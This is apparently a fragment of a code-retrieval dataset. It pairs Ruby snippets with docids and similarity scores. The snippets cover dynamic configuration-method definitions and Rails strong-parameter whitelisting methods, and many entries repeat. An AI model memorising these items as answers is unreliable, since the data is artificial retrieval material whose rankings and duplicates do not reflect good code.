"text": "def define_configuration name, val, help, &block\n\t\t\t\t@@configuration_help[name] = help\n\t\t\t\t@@configuration_initialize[name] = val\n\t\t\t\t# define configuration get method\n\t\t\t\tget_method_name = \"configuration_#{name}\"\n\t\t\t\tdefine_method get_method_name do\n\t\t\t\t\tinstance_variable_get \"@#{name}\"\n\t\t\t\tend\n\t\t\t\tprivate get_method_name\n\t\t\t\t# define configuration set method\n\t\t\t\tset_method_name = \"configuration_#{name}=\"\n\t\t\t\tif block_given?\n\t\t\t\t\tdefine_method set_method_name do |val|\n\t\t\t\t\t\tself.instance_exec val, &block\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tdefine_method set_method_name do |val|\n\t\t\t\t\t\tinstance_variable_set \"@#{name}\", val\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tprivate set_method_name\n\t\t\tend",
"title": ""
},
{
"docid": "3d95d9378c97cb170dd01976706312d7",
"score": "0.58685935",
"text": "def method_name\n 'configuration'\n end",
"title": ""
},
{
"docid": "2a6293ac45bbe105352e534c3d8313ac",
"score": "0.58666503",
"text": "def redefine_singleton_method(method, &block); end",
"title": ""
},
{
"docid": "2a6293ac45bbe105352e534c3d8313ac",
"score": "0.58666503",
"text": "def redefine_singleton_method(method, &block); end",
"title": ""
},
{
"docid": "2a6293ac45bbe105352e534c3d8313ac",
"score": "0.58666503",
"text": "def redefine_singleton_method(method, &block); end",
"title": ""
},
{
"docid": "19408462f7e63c20d9649f0eeeff3be9",
"score": "0.5847998",
"text": "def setup!\n configuration = config\n\n configuration.keys.each do |key|\n nodule.define_singleton_method key do\n return configuration[key]\n end\n end\n\n nodule.define_singleton_method :method_missing do |m, *args, &block|\n nil\n end\n end",
"title": ""
},
{
"docid": "19408462f7e63c20d9649f0eeeff3be9",
"score": "0.5847998",
"text": "def setup!\n configuration = config\n\n configuration.keys.each do |key|\n nodule.define_singleton_method key do\n return configuration[key]\n end\n end\n\n nodule.define_singleton_method :method_missing do |m, *args, &block|\n nil\n end\n end",
"title": ""
},
{
"docid": "504efda39259f64b6c46aa6773a3b9e4",
"score": "0.5837113",
"text": "def method_missing(method, *arguments, &block)\n return super unless access_method? method\n Nii::Config.define(method)\n send(method, *arguments, &block)\n end",
"title": ""
},
{
"docid": "b5f0604e71541c5a1d06adbcc7f492f8",
"score": "0.5803267",
"text": "def __install_configuration_methods__\n entries = @method_blocks.entries_at(@path)\n entries.each do |meth, entry|\n @reserved_method_validator.validate!(meth)\n __define_singleton_method__(meth, &entry.block)\n end\n end",
"title": ""
},
{
"docid": "86f38bf7cee270fd2133e301fa1e67a3",
"score": "0.580092",
"text": "def define_object_configuration_definition_method( ccm_method_name )\n \n ccm = self\n \n #===============================#\n # attr_object_ccm_method_name #\n #===============================#\n \n define_method( ccm_method_name ) do |*args, & block|\n\n configurations, parsed_args = ccm.parse_configuration_descriptors( self, *args, & block )\n\n configurations.each do |this_accessor, this_write_accessor|\n ccm.define_object_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n end\n \n return self\n \n end\n\n return self\n \n end",
"title": ""
},
{
"docid": "83aa126868d9950e1a962e94a9fa5f25",
"score": "0.57844865",
"text": "def define\n end",
"title": ""
},
{
"docid": "59d20ccf59dd5112d21522f5c10ed0af",
"score": "0.57749444",
"text": "def redefine_singleton_method(method, &block)\n singleton_class.redefine_method(method, &block)\n end",
"title": ""
},
{
"docid": "51f23e0c0c929bbe6eb01211b9602006",
"score": "0.5773592",
"text": "def start_configuration; end",
"title": ""
},
{
"docid": "cac178bb6f021fc6d3a7561d14327a06",
"score": "0.56742674",
"text": "def define_singleton(name, contents)\n return if name =~ /[^A-Za-z0-9_]/\n instance_eval(%{def #{name}\n #{contents}\n end})\n end",
"title": ""
},
{
"docid": "094654d910188a47a3da10d3d631be5a",
"score": "0.5664847",
"text": "def definition\n end",
"title": ""
},
{
"docid": "094654d910188a47a3da10d3d631be5a",
"score": "0.5664847",
"text": "def definition\n end",
"title": ""
},
{
"docid": "305c61e3e458d05b231d1917f05f18df",
"score": "0.5655955",
"text": "def define_method(name, &blk); @server_class.class_eval { define_method(name, &blk) }; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.5654775",
"text": "def configuration; end",
"title": ""
},
{
"docid": "aa1ed0ec14499098d34d786181c9b045",
"score": "0.56538975",
"text": "def configure(new_configuration); end",
"title": ""
},
{
"docid": "aa80bd6576357b1a196a04c7dd5e1dc7",
"score": "0.56481344",
"text": "def definition; end",
"title": ""
},
{
"docid": "f4a41bb5a522e5255555ea93182ab137",
"score": "0.5628255",
"text": "def method_missing(method, *params)\n if configuration.respond_to?(method)\n configuration.send(method, *params)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "e52b691d0dcb40c27aec4ad6d47d2c4f",
"score": "0.55831003",
"text": "def method_missing(method_sym, *arguments, &block)\n # the first argument is a Symbol, so you need to_s it if you want to pattern match\n methodString = method_sym.to_s\n if @configuration.keys.include? methodString\n @configuration[methodString]\n else\n super\n end\n end",
"title": ""
},
{
"docid": "bb641099c12d2bea41ab1cf74584f0dc",
"score": "0.55312485",
"text": "def define_local_instance_configuration_definition_method( ccm_method_name )\n \n ccm = self\n \n #========================================#\n # attr_local_instance_ccm_method_name #\n #========================================#\n \n define_method( ccm_method_name ) do |*args, & block|\n\n configurations, parsed_args = ccm.parse_configuration_descriptors( self, *args, & block )\n\n configurations.each do |this_accessor, this_write_accessor|\n ccm.define_local_instance_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n end\n \n return self\n \n end\n\n return self\n \n end",
"title": ""
},
{
"docid": "791719bb072297200590f465a09a419a",
"score": "0.5530932",
"text": "def method_definition(name)\n bind_call(:instance_method, name)\n end",
"title": ""
},
{
"docid": "6dec18b561ca2cbfe47739558d4b324f",
"score": "0.5530716",
"text": "def configuration(name, key, &blk)\n Islay::Configuration.define(name, key, &blk)\n nil\n end",
"title": ""
},
{
"docid": "1637842dceea943e46fdf4c4282fbd62",
"score": "0.5510354",
"text": "def define(procedure = nil, &block)\n config = Config.new(null: null)\n config.instance_exec(&(procedure || block))\n config.mixin.include Mixin::Root\n config.mixin\n end",
"title": ""
},
{
"docid": "ef2d9b550a7385d02b57202a9ad276ee",
"score": "0.55038714",
"text": "def initialize(configuration = Configuration.new)\n @configuration = configuration\n define_endpoint_methods\n end",
"title": ""
},
{
"docid": "1114bbc82b162f3012a22bd0f4ae0393",
"score": "0.54635555",
"text": "def method_missing(method, *_args, &_block)\n @config.send(method)\n end",
"title": ""
},
{
"docid": "c849f58e3835cdd507f4fd67d8f006e8",
"score": "0.54528713",
"text": "def configure(settings = {})\n abstract_method\n end",
"title": ""
},
{
"docid": "b65a47f61e775b2839c9389481f9e6ba",
"score": "0.5452405",
"text": "def configuration; Configuration.instance end",
"title": ""
},
{
"docid": "d9e9f8b13fddda83896399a73995f967",
"score": "0.5437015",
"text": "def define; end",
"title": ""
},
{
"docid": "c9beb415bf342e7e0797eaa43a402545",
"score": "0.54246545",
"text": "def method_missing(method, *args, &block)\n config.send(method, *args, &block)\n end",
"title": ""
},
{
"docid": "35f03529f60f9b05bd4fbb387ea8ab19",
"score": "0.5422978",
"text": "def method_missing(method, *args, &block)\n @config.send(method, *args, &block)\n end",
"title": ""
},
{
"docid": "35f03529f60f9b05bd4fbb387ea8ab19",
"score": "0.5422978",
"text": "def method_missing(method, *args, &block)\n @config.send(method, *args, &block)\n end",
"title": ""
},
{
"docid": "dbdbe995cda01087d3ad1619e8573c41",
"score": "0.5410051",
"text": "def generate_definition(indent_level, options)\n def_params = parameters.map(&:to_def_param)\n name_prefix = class_method ? 'self.' : ''\n def_line = options.indented(\n indent_level,\n \"def #{name_prefix}#{name}#{\n \"(#{def_params.join(', ')})\" unless parameters.empty?}; end\"\n )\n [def_line]\n end",
"title": ""
},
{
"docid": "e144c55fb8680de35acf575932b5572e",
"score": "0.5382856",
"text": "def configurations; end",
"title": ""
},
{
"docid": "c7208c83a58b2bd29ef2cec88c9b150a",
"score": "0.5358471",
"text": "def method_missing(mthd, *args)\n if @definition.respond_to?(mthd)\n @definition.send(mthd, *args)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "da83659d79e9795e97940a56df56f530",
"score": "0.53584373",
"text": "def configure(configuration, &on_inform) # Hash, Block\n end",
"title": ""
},
{
"docid": "0b83313574cf7a429a50fca6510556ad",
"score": "0.5354279",
"text": "def create_method(name, &block)\n singleton_class.send(:define_method, name, &block)\n end",
"title": ""
},
{
"docid": "cb1d7e63e35741f2be79b18fd4bc1275",
"score": "0.53526276",
"text": "def binop_define_singleton_method(name, op, receiver)\n [:method_add_block,\n [:command_call,\n [:var_ref, [:@ident, receiver.to_s]],\n :\".\",\n [:@ident, \"define_singleton_method\"],\n [:args_add_block,\n [[:symbol_literal, [:symbol, [:@ident, name.to_s]]]],\n false]],\n [:block,\n [:block_var,\n [:params,\n [[:@ident, \"x\"], [:@ident, \"y\"]],\n nil,\n nil,\n nil,\n nil],\n nil],\n [[:binary,\n [:var_ref, [:@ident, \"x\"]],\n op,\n [:var_ref, [:@ident, \"y\"]]]]]]\n end",
"title": ""
},
{
"docid": "490b02e58b59495efc868a9498b2cec8",
"score": "0.53337073",
"text": "def define!(context)\n context.define_singleton_method(name, &block)\n end",
"title": ""
},
{
"docid": "e7be05496458b08472a376be87287c4a",
"score": "0.53328836",
"text": "def define_config(name, &blk)\n if @definitions.has_key?(name)\n raise ConfigError.new(\"#{name.to_s.upcase} is already registered\")\n end\n @definitions[name] = Proc.new do |env|\n value = yield env\n if value.kind_of?(Hash)\n value\n else\n {name => value}\n end\n end\n end",
"title": ""
},
{
"docid": "9515cf035fe2ab59ada24387877cb5fe",
"score": "0.5330099",
"text": "def singleton_method_added(name)\n\n # Only add public methods to the commands list\n return unless public_methods.include?(name)\n\n handler = method(name)\n name = name.to_s\n\n Morrow.config.commands[name] =\n OpenStruct.new(name: name,\n priority: @priority || 0,\n handler: handler,\n help: @help)\n\n @help = nil\n @priority = nil\n end",
"title": ""
},
{
"docid": "1af43883deec60723a08463d2c40cd66",
"score": "0.5329908",
"text": "def method_missing(method, *_args)\n @config.send(method) unless @config.nil?\n end",
"title": ""
},
{
"docid": "b43761839a0ba1cf20fa592f9591304d",
"score": "0.5329089",
"text": "def create_dynamic_setter_method definition\n self.send(:define_method, \"#{definition.name}=\") do |value|\n set_dynamic_value(definition.name.to_sym, value)\n end if definition\n end",
"title": ""
},
{
"docid": "66b2c6f41ffe654fe9e94a03dc0a1d27",
"score": "0.5325631",
"text": "def configure\n not_implemented(__method__)\n end",
"title": ""
},
{
"docid": "f0d8dcf5dc5cc35705e2efc48124ef45",
"score": "0.53236896",
"text": "def singleton_no_arg_def(name, ret)\n s(:defs, s(:self), name, s(:args), s(:str, ret))\n end",
"title": ""
},
{
"docid": "30c5554aad8cedb67a2ce62436beb237",
"score": "0.5322462",
"text": "def define\n lib('lib', '{*,.*}', '{package.rb,.,..}')\n conf('conf', \"#{@name}.yaml\")\n\n super\n end",
"title": ""
},
{
"docid": "9abd49ef35bb805469b144d623b80564",
"score": "0.5315605",
"text": "def singleton_method_name( singleton_type_name )\n\n return self.class::DefinitionMethodPrefix.dup << '_singleton_' << singleton_type_name.to_s\n\n end",
"title": ""
},
{
"docid": "00b81ed74190f4eacce7d0839a40461e",
"score": "0.53107214",
"text": "def method_missing(meth, *args, &block)\n # Check to see if it can be evaluated\n if(matches? meth)\n #Defines the method and caches it to the class\n self.class.send(:define_method, meth) do\n # Splits the method and parameter. See formatize and directionize\n @csf::config()::getStringArray(meth.to_s.to_java_name).to_a\n end\n # calls the method\n send meth, *args, &block\n else\n super\n end\n end",
"title": ""
},
{
"docid": "31575c042996826b14c171c0c79c39d1",
"score": "0.53079146",
"text": "def configured()\n end",
"title": ""
},
{
"docid": "100af079a1b6ed8ff1fab794917a282a",
"score": "0.52941036",
"text": "def configuration_for(target, as = :configuration, run_configuration = false, &blk)\n configuration_ivar_name = (as == :configuration) ? :configuration : :\"#{as}_configuration\"\n configuration_ivar_name_shortcut = (as == :configuration) ? :config : :\"#{as}_config\"\n target.const_set(configuration_ivar_name.to_s.classify, ::Class.new(::Trax::Core::Configuration))\n configuration_klass = target.const_get(configuration_ivar_name.to_s.classify)\n configuration_klass.source = target\n configurer_method_name = (as == :configuration) ? :configure : :\"configure_#{as}\"\n\n target.singleton_class.instance_variable_set(\"@#{configuration_ivar_name}\", configuration_klass.instance_eval(&blk))\n target.define_singleton_method(configuration_ivar_name) do\n return instance_variable_get(\"@#{configuration_ivar_name}\") || detect_in_chain{ instance_variable_get(\"@#{configuration_ivar_name}\") }\n end\n target.singleton_class.__send__(:alias_method, configuration_ivar_name_shortcut, configuration_ivar_name)\n\n target.define_singleton_method(configurer_method_name) do |&block|\n if block\n return instance_variable_set(\"@#{configuration_ivar_name}\", configuration_klass.new(&block)) if !instance_variable_get(\"@#{configuration_ivar_name}\")\n return instance_variable_get(\"@#{configuration_ivar_name}\").instance_eval(&block)\n else\n return instance_variable_set(\"@#{configuration_ivar_name}\", configuration_klass.new) if !instance_variable_get(\"@#{configuration_ivar_name}\")\n return instance_variable_get(\"@#{configuration_ivar_name}\")\n end\n end\n\n target.__send__(configurer_method_name) if run_configuration\n end",
"title": ""
},
{
"docid": "447c8ce919f666e9f6f82b85dee23552",
"score": "0.5292445",
"text": "def define_instance_definition_method( module_type_name, *module_type_name_aliases )\n \n ccm_method_name = instance_method_name( module_type_name )\n \n define_instance_configuration_definition_method( ccm_method_name )\n\n module_type_name_aliases.each { |this_alias| alias_method( instance_method_name( this_alias ), ccm_method_name ) }\n \n return self\n \n end",
"title": ""
},
{
"docid": "456e1946da2d1a9cf311d7bfb4593ed7",
"score": "0.5292296",
"text": "def definition_methods(&block); end",
"title": ""
},
{
"docid": "6adcf3329ba2c98cc80378c511b1fbe1",
"score": "0.52798223",
"text": "def method_missing(method, *args)\n instance.config[method.to_sym]\n end",
"title": ""
},
{
"docid": "a3fb0b8280d84780da341ffb9289d41d",
"score": "0.5263283",
"text": "def method_missing(meth, *args, &block)\n super unless config.respond_to?(meth)\n config.public_send(meth, *args)\n end",
"title": ""
},
{
"docid": "0f76098468f70c155cea97d2ca084467",
"score": "0.52438205",
"text": "def configuration_hash; end",
"title": ""
},
{
"docid": "0f76098468f70c155cea97d2ca084467",
"score": "0.52438205",
"text": "def configuration_hash; end",
"title": ""
},
{
"docid": "0f76098468f70c155cea97d2ca084467",
"score": "0.52438205",
"text": "def configuration_hash; end",
"title": ""
},
{
"docid": "e2a1268493973a56d90f6d60891fa768",
"score": "0.5230595",
"text": "def define_c_singleton_method mod, name, subclass = SingletonMethod\n raise unless subclass <= SingletonMethod\n c_name = rb_define_singleton_method :mod => mod, :rb_name => name, :cfile => self\n define c_name, subclass\n end",
"title": ""
},
{
"docid": "229958152f6d82c2096f81f02166c87c",
"score": "0.52292794",
"text": "def configure\n yield Configuration.instance\n end",
"title": ""
},
{
"docid": "535f507962ec6d72550a2dbe61c37301",
"score": "0.5227183",
"text": "def definition_methods(&block)\n self::DefinitionMethods.module_eval(&block)\n end",
"title": ""
},
{
"docid": "a5119f1b9836a4b32a318888ae2933e0",
"score": "0.5223234",
"text": "def property_cfg(symbol, cfg={})\n cfg[:type] ||= :yaml\n properties = Hash.new\n begin\n properties = const_get(:HoardProperties)\n rescue NameError => e\n properties = Hash.new\n const_set(:HoardProperties, properties)\n end\n unless const_defined?(:HoardProperties)\n properties = properties.clone\n const_set(:HoardProperties, properties)\n end\n properties[symbol.to_sym] = cfg\n\n define_method(symbol) {\n # check last read time?\n hoard = instance_variable_get('@__hoard__')\n if hoard.nil?\n return instance_variable_get(\"@#{symbol}\")\n else\n return hoard.get_property(self, symbol)\n end\n }\n\n define_method(\"#{symbol}=\") { |value|\n hook = \"#{symbol.to_s}_setter_hook\".intern\n old = instance_variable_get(\"@#{symbol}\")\n if self.respond_to? hook\n self.send(hook, old, value) if old != value\n end\n if hoard\n hoard.set_property(self, symbol, value)\n else\n instance_variable_set(\"@#{symbol}\", value)\n end\n hook = \"#{symbol.to_s}_setter_post_hook\".intern\n if self.respond_to? hook\n self.send(hook, old, value) if old != value\n end\n }\n\n define_method(\"#{symbol}_load\") {\n hoard = instance_variable_get('@__hoard__')\n return if hoard.nil?\n old_value, value = hoard.load_property(self, symbol)\n hook = \"#{symbol.to_s}_load_hook\".intern\n if self.respond_to?(hook) && old_value != value\n self.send(hook, old_value, value)\n end\n [old_value, value]\n }\n\n define_method(\"#{symbol}_sync\") {\n hoard = instance_variable_get('@__hoard__')\n return if hoard.nil?\n hoard.sync(self.uuid, symbol)\n hook = \"#{symbol.to_s}_sync_hook\".intern\n self.send(hook) if self.respond_to? hook\n }\n end",
"title": ""
},
{
"docid": "d028d426c4537f4044f84393aef14ebe",
"score": "0.52182543",
"text": "def config_attr_writer(method_symbol, &block); end",
"title": ""
},
{
"docid": "8a358457e44705c38c4157ca32309865",
"score": "0.52162707",
"text": "def configure(config)\n config.each { |k, v| @def_config[k] = v if @def_config.include? k }\n return @def_config\n end",
"title": ""
},
{
"docid": "7d8015f735634d760223a2f292ed0a16",
"score": "0.5205655",
"text": "def define name, &block\n define_method(name, &block)\n end",
"title": ""
},
{
"docid": "f3d02fe7051b45ee2f0cbc63de778efb",
"score": "0.5195751",
"text": "def cfg; end",
"title": ""
},
{
"docid": "f3d02fe7051b45ee2f0cbc63de778efb",
"score": "0.5195751",
"text": "def cfg; end",
"title": ""
},
{
"docid": "89100f827dc3ab84f53ff39f32cdd5ce",
"score": "0.51709265",
"text": "def config \n Configuration.instance\n end",
"title": ""
},
{
"docid": "c468f22cada3ccd1d0cb05280624f09b",
"score": "0.5170206",
"text": "def _shared_configuration; end",
"title": ""
},
{
"docid": "c468f22cada3ccd1d0cb05280624f09b",
"score": "0.5170206",
"text": "def _shared_configuration; end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "91556db2d24c4203dc19073934242efd",
"score": "0.0",
"text": "def enable_person_params\n params.require(:enable_person).permit(:clients_id, :nombre, :apellido, :dni, :estado)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7496716",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6956598",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.6922234",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6893534",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67853236",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.6744744",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6683278",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6637831",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.662915",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66274196",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65636724",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6490788",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6478456",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.6454521",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64013326",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6383577",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63649726",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.6341358",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.63372284",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.63265663",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.6320813",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.6315858",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6315331",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.63070124",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.630166",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.6299529",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.62969804",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62925094",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62925094",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6279755",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6274345",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6267809",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.6256392",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.62562",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62532043",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.62367487",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6228854",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6228413",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.6228286",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62258255",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.62012124",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.6191875",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61842424",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6178458",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.6164992",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6162104",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
